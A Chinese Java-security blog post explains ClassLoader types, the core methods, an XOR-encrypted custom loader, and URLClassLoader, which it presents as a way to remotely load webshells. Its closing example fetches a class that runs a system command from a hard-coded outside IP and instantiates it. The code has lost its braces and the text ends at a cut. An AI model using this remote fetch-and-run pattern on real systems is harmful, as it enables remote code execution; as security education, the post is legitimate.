[Java安全]类加载器ClassLoader

Posted 2022-11-23 huamanggg

前言

借用了先知社区的文章的一张图来解释这个原理

负责动态加载Java类到Java虚拟机的内存空间中，用于加载系统、网络或者其他来源的类文件。Java源代码通过javac编译器编译成类文件，然后JVM来执行类文件中的字节码来执行程序。

类加载器介绍

类加载器大致分为两类：

• JVM 默认类加载器
• 用户自定义类加载器

类加载器分类

• 引导类加载器(BootstrapClassLoader)：属于jvm一部分，不继承java.lang.ClassLoader类，也没有父加载器，主要负责加载核心java库(即JVM本身)，存储在/jre/lib/rt.jar目录当中、
• 扩展类加载器(ExtensionsClassLoader)：sun.misc.Launcher$ExtClassLoader类实现，用来在/jre/lib/ext或者java.ext.dirs中指明的目录加载java的扩展库
• 系统类加载器(AppClassLoader)：由sun.misc.Launcher$AppClassLoader实现，一般通过通过(java.class.path或者Classpath环境变量)来加载Java类，也就是我们常说的classpath路径。通常我们是使用这个加载类来加载Java应用类，可以使用ClassLoader.getSystemClassLoader()来获取它
• 自定义类加载器(UserDefineClassLoader)：这个就是由用户自定义的类加载器

ClassLoader类核心方法

除了上述引导类加载器BootstrapClassLoader，其他类加载器都是继承了CLassLoader类
ClassLoader类是一个抽象类，主要的功能是通过指定的类的名称，找到对应的字节码，返回一java.lang.Class类的实例。

loadClass：加载指定的java类

加载名称为name的类，返回的结果是java.lang.Class类的实例

可以看loadClass的源码

    protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    
        synchronized (getClassLoadingLock(name)) 
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) 
                long t0 = System.nanoTime();
                try 
                    if (parent != null) 
                        c = parent.loadClass(name, false);
                     else 
                        c = findBootstrapClassOrNull(name);
                    
                 catch (ClassNotFoundException e) 
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                

                if (c == null) 
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                
            
            if (resolve) 
                resolveClass(c);
            
            return c;
        
    

先进行findLoadedClass进行判断是否加载过这个类，如果已经加载过的话，就直接返回；如果没加载过，则使用加载器的父类的加载器去加载。当没有父类的时候，则会调用自身的findClass方法，因此可以重写findClass方法完成一些类加载的特殊要求

findCLass：查找指定的Java类

protected Class<?> findClass(String name) throws ClassNotFoundException 
        throw new ClassNotFoundException(name);
    

findLoadedClass：查找JVM已经加载过的类

protected final Class<?> findLoadedClass(String name) 
        if (!checkName(name))
            return null;
        return findLoadedClass0(name);
    

defineClass：定义一个Java类，将字节码解析成虚拟机识别的Class对象。往往和findClass()方法配合使用

protected final Class<?> defineClass(byte[] b, int off, int len)
        throws ClassFormatError
    
        return defineClass(null, b, off, len, null);
    

resolveClass：链接指定Java类

protected final void resolveClass(Class<?> c) 
        resolveClass0(c);
    

    private native void resolveClass0(Class c);

自定义的类加载器

那么我们如果要自定义类加载器，那么就要进行如下步骤：

1. 继承ClassLoader类
2. 重载fandClass方法
3. 利用defineClass方法将字节码转换成java.lang.class类对象

代码示例
messageTest

public class messageTest 
    public static void main(String[] args)
        System.out.println("This is the secret!");
    

对class文件加密的类
encodeTest

import java.io.*;

public class encodeTest 
    public static void main(String[] args) throws IOException 
        encode(
              new File("../out/production/Classloader/messageTest.class"),
              new File("../out/production/Classloader/test/messageTest.class")
        );
    
    public static void encode(File src, File out) throws IOException 
        FileInputStream fin;
        FileOutputStream fout;

        fin = new FileInputStream(src);
        fout = new FileOutputStream(out);

        int temp = -1;
        while ((temp = fin.read()) != -1) // 读取一个字节
            fout.write(temp ^ 0xff);// 取反输出
        
        fin.close();
        fout.close();
    

再写解密类，重写findclass方法

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class decodeTest extends ClassLoader
    private String rootDir;

    public decodeTest(String rootDir) 
        this.rootDir = rootDir;
    
    
    // 解密文件
    public byte[] getClassData(String className) throws IOException 
        String path = rootDir + "/" + className.replace('.', '/') + ".class";
        // 将流中的数据转换为字节数组
        InputStream is = null;
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        is = new FileInputStream(path);
        byte[] buffer = new byte[1024];
        int temp = -1;
        while ((temp = is.read()) != -1) 
            baos.write(temp ^ 0xff);
        
        return baos.toByteArray();
    

    @Override // 重写覆盖findClass
    protected Class<?> findClass(String className) throws ClassNotFoundException 
        Class<?> c = findLoadedClass(className);
        if (c != null) 
            return c;
         else 
            ClassLoader parent = this.getParent();

            c = parent.loadClass(className);
            if (c != null) 
                System.out.println("父类成功加载");
                return c;
             else // 读取文件 转化成字节数组
                byte[] classData = new byte[0];
                try 
                    classData = getClassData(className);
                 catch (IOException e) 
                    e.printStackTrace();
                
                if (classData == null) 
                    throw new ClassNotFoundException();
                 else  // 调用defineClass()方法
                    c = defineClass(className, classData, 0, classData.length);
                    return c;
                
            
        
    

再写测试类

public class loadClassTest 
    public static void main(String[] args) throws ClassNotFoundException 
        decodeTest de = new decodeTest("/Users/liucheng/Desktop/JavaSec/out/production/Classloader/test/");
        Class<?> a = de.loadClass("messageTest");
        System.out.println(a);

    

由于我指定的class文件是加密后的class文件，所以java自带的类加载器就加载不了，这里我们成功用自定义的类加载器去解密加载到了messageTest

URLClassLoader

URLClassLoader是ClassLoader的一个实现，拥有远程服务器上加载类的能力，通过这个URLClassLoader可以实现对一些webshell的远程加载

这里举个例子
我在Tomcat服务器处生成一个执行系统命令的class

public class Test 
    public static void main(String[] args)
        try
            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
         
        catch(Exception e) 
            e.printStackTrace();
        
    

然后在项目里远程加载这个类

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderTest 
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException 
        URL url = new URL("http://101.35.98.118:12424/javatest/");
        URLClassLoader cl = new URLClassLoader(new URL[]url);
        Class c = cl.loadClass("Test");
        c.newInstance();